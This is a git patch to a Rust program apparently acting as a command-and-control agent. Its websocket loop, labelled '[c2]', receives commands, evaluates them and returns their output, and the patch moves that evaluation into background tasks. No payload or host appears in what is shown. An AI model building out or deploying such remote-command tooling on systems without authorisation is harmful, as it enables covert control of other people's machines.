From ecb098e15b0ac9156254b663bf00507aee6d7f2b Mon Sep 17 00:00:00 2001 From: Xory Date: Sat, 13 Dec 2025 14:40:09 +0200 Subject: [PATCH] feat: run stuff in bg --- src/lib/websockets.rs | 49 ++++++++++++++++++++++++++++++------------- src/main.rs | 3 ++- 2 files changed, 37 insertions(+), 15 deletions(-) diff --git a/src/lib/websockets.rs b/src/lib/websockets.rs index 4420597..6e54842 100644 --- a/src/lib/websockets.rs +++ b/src/lib/websockets.rs @@ -72,23 +72,44 @@ pub async fn websocket_handler(ws_tx: WsTx) { while let Some(msg) = ws_recv.next().await { match msg { Ok(Message::Text(text)) => { - log(LogLevel::Debug, LOG_PATH, format!("[ws] received text: {}", &text)).await; - log(LogLevel::Info, LOG_PATH, format!("[c2] evaluating command...")).await; - match eval_command(text.as_str()).await { - Err(e) => log(LogLevel::Error, LOG_PATH, format!("[c2] failed to evaluate command! {e}")).await, - Ok(v) => { - let mut unlocked_ws_tx = ws_tx.lock().await; - if let Some(h) = unlocked_ws_tx.as_mut() { - if let Err(e) = h.send(format!("{{ \"err\": null, \"out\": \"{v}\" }}").into()).await { - log(LogLevel::Error, LOG_PATH, format!("[ws] {e}")).await; - break; + // 1. Clone the Arc holding the Mutex so it can be moved into the background task. + // (Assumes ws_tx is type: Arc>) + let ws_tx = ws_tx.clone(); + + // 2. Spawn the task so the main loop can continue immediately to the next message. + tokio::spawn(async move { + log(LogLevel::Debug, LOG_PATH, format!("[ws] received text: {}", &text)).await; + log(LogLevel::Info, LOG_PATH, format!("[c2] evaluating command...")).await; + + // The heavy lifting (eval_command) now happens in the background + match eval_command(text.as_str()).await { + Err(e) => { + // Same behavior as before: Log error, but don't stop the connection + log(LogLevel::Error, LOG_PATH, format!("[c2] failed to evaluate command! {e}")).await + } + Ok(v) => { + // We lock the writer only when we are ready to send the response + let mut unlocked_ws_tx = ws_tx.lock().await; + + if let Some(h) = unlocked_ws_tx.as_mut() { + let response_msg = format!("{{ \"err\": null, \"out\": \"{v}\" }}"); + + if let Err(e) = h.send(response_msg.into()).await { + log(LogLevel::Error, LOG_PATH, format!("[ws] send error: {e}")).await; + // We cannot 'break' the main loop from here because we are in a separate task. + // However, we 'return' to stop this specific background task. + // Since the socket is likely dead (send error), the main loop will + // likely terminate on its next recv() attempt anyway. + return; + } + log(LogLevel::Info, LOG_PATH, format!("[c2] command evaluated successfully!")).await; + } else { + // If ws_tx is None, we just stop this task + return; } - log(LogLevel::Info, LOG_PATH, format!("[c2] command evaluated successfully!")).await; - } else { - break; } } - } + }); } Ok(Message::Close(_)) => { log(LogLevel::Warning, LOG_PATH, format!("[ws] received close frame, disconnecting.")).await; diff --git a/src/main.rs b/src/main.rs index 37c947b..b620bd4 100644 --- a/src/main.rs +++ b/src/main.rs @@ -11,6 +11,7 @@ async fn main() -> anyhow::Result<()> { log(LogLevel::Info, LOG_PATH, format!("[main] Skylink version 1.0.0 starting...")).await; let ws_tx: WsTx = Arc::new(Mutex::new(None)); let ws_tx_for_handler = Arc::clone(&ws_tx); - websocket_handler(ws_tx_for_handler).await; + let handle = tokio::spawn(async { websocket_handler(ws_tx_for_handler).await }); + let _ = handle.await; Ok(()) }